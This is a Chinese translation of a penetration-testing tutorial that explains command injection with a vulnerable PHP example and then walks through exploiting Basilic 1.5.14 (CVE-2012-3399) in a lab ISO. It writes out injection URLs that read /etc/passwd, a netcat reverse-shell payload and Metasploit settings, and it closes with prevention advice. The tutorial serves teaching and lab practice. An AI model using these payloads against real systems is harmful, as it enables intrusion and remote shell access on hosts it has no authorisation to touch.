命令注入ISO:Basilic 1.5.14利用

2018-01-06 11:04:04来源:http://blog.nsfocus.net/iso-basilic-1-5-14/作者:绿盟科技博客人点击

分享


阅读: 17


命令注入是一种攻击,攻击者试图传递恶意载荷,这些载荷会被应用程序不当处理并在系统shell里执行。此漏洞会导致脆弱应用程序的宿主机上出现远程代码执行。


文章目录


什么是命令注入?

命令注入是一种攻击,攻击者试图传递恶意载荷,这些载荷会被应用程序不当处理并在系统shell里执行。此漏洞会导致脆弱应用程序的宿主机上出现远程代码执行。


命令注入以与应用程序相同的权限运行。比如,如果脆弱应用程序以www-data的权限运行,被利用后,攻击者会获取宿主机上所有的www-data权限。


命令注入漏洞存在的主要原因是缺乏输入验证,并且应用程序的编码中使用了系统调用或者系统方法。


让我们看一个易受攻击的代码示例:


下方是读取文件的代码。将其保存为“read.php”。创建一个“test.txt”文件,在文件中写入“Command Injection testing”,并保存。


<? php


print (“Command Injection testing”)


print(“<p>”);


$file=$_GET[‘fileread’];


system(“cat $file”);


?>


为读取文件,我们必须向服务器发送URL包含“fileread”的“GET”请求,如下:


http://localhost/read.php?fileread=abc.txt


输出将是:


Command Injection testing


Command injection text


为了利用上方代码中的命令注入漏洞,我们需要向服务器发送下方的请求:


http://localhost/read.php?fileread=abc.txt;id


输出将是:


Command Injection testing


Command injection text


Uid=33 (www-data) gid=33(www-data) groups=33(www-data)


攻击者执行该命令,权限与应用程序运行的权限相同。命令注入漏洞就是这么被利用的。


还有其他在脆弱应用程序中执行“id”的变种,如下:


http://localhost/read.php?fileread=abc.txt || id


http://localhost/read.php?fileread=abc.txt && id


如果安装的应用程序以根权限运行,那么命令注入可以在脆弱的宿主机上执行根用户能执行的任何命令。


命令注入渗透测试所需要的实验室设置:
Kali Linux (Bridged或NAT). 攻击者 Kali Linux 的IP是168.1.102。
命令注入ISO (Bridged或NAT)。目标IP是168.1.103。
了解命令注入ISO的外观和感受:

命令注入ISO给我们提供了登录操作系统并查看脆弱应用程序的机会。使用用户名“Securitytube”和密码“123321”登录命令注入ISO。


检查命令注入ISO(192.168.1.103)上的80端口。



如上所示,有很多可以利用的框架。在本文中,我们将利用Basilic 1.5.14.


什么是Basilic?

Basilic是在研究实验室中所用的书目服务器。它有助于在互联网上自动化和扩散研究出版物。它从出版物数据库中生成一个网页。这个框架还有助于显示索引、查找和其他各种功能。


Basilic要求正确安装和配置PHP、Apache和MySQL。


要下载、配置和安装Basilic,请点击下方链接:


http://artis.imag.fr/Software/Basilic/


现在,我们点击Basilic文件夹,你可以看到以下内容:



在互联网上搜索对应的利用方法,我们可以在下方URL找到CVE-2012-3399(描述了Basilic错误的输入验证)和一个任意代码执行利用方法:


http://www.securityfocus.com/bid/54234/exploit


该链接为我们提供了可导致远程代码攻击的脆弱URL。



该利用方法帮助我们确定“diff.php”文件容易受到输入处理的影响,并且出现在/basilica/Config目录下。


http://www.example.com/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2


SecurityFocus的输出编码似乎将其模糊化了。实际的利用方法如下:


http://www.example.com/basilic/Config/diff.php?file=|cat /etc/passwd&new=1&old=2


使用上面提到的漏洞利用方法来执行命令。



我们可以使用file参数来执行系统命令。


我们来获得一个反向shell。


在Kali上启动一个监听器:


[email protected]#nc -lvvp 3333


输入文件参数为“diff.php?file=|nc -v 127.0.0.1 3333 -e /bin/bash&new=1&old=2”的命令。



我们就得到了想要的 shell 。


在Metasplit和Kali的帮助下,我们来利用这个漏洞。


在Exploit-DB上利用Kali的SearchSploit工具搜索利用方法,我得到了一个Ruby利用方法。



如果编写语言是Ruby,那么我想它会出现在Metasploit中。


在MSF框架中查找利用方法。


[email protected]# service postgresql start


[email protected]# service metasploit start


[email protected]# msfconsole


msf> search basilic



如上所示,我们找到了用于Basilic的任意命令执行利用方法。


按照下图所示,配置和运行Metasploit:



模块选项:


RHOST 192.168.1.103


RPORT 80


TARGETURL /basilic-1.5.14/


载荷选项:


LHOST 192.168.1.102


LPORT 4444


最后,利用方法。



我们成功地在Basilic里面利用了命令注入程序,并获取了目标的www-data权限。


如何防止命令注入
开发者应采用恰当的输入验证,并且不在整个应用程序中使用特殊字符。
不再后端编程的任何地方使用系统调用功能。
应用程序应该以最低权限运行。

文章翻译自:http://resources.infosecinstitute.com/pentester-academy-command-injection-iso-basilic-1-5-14-exploitation/


最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台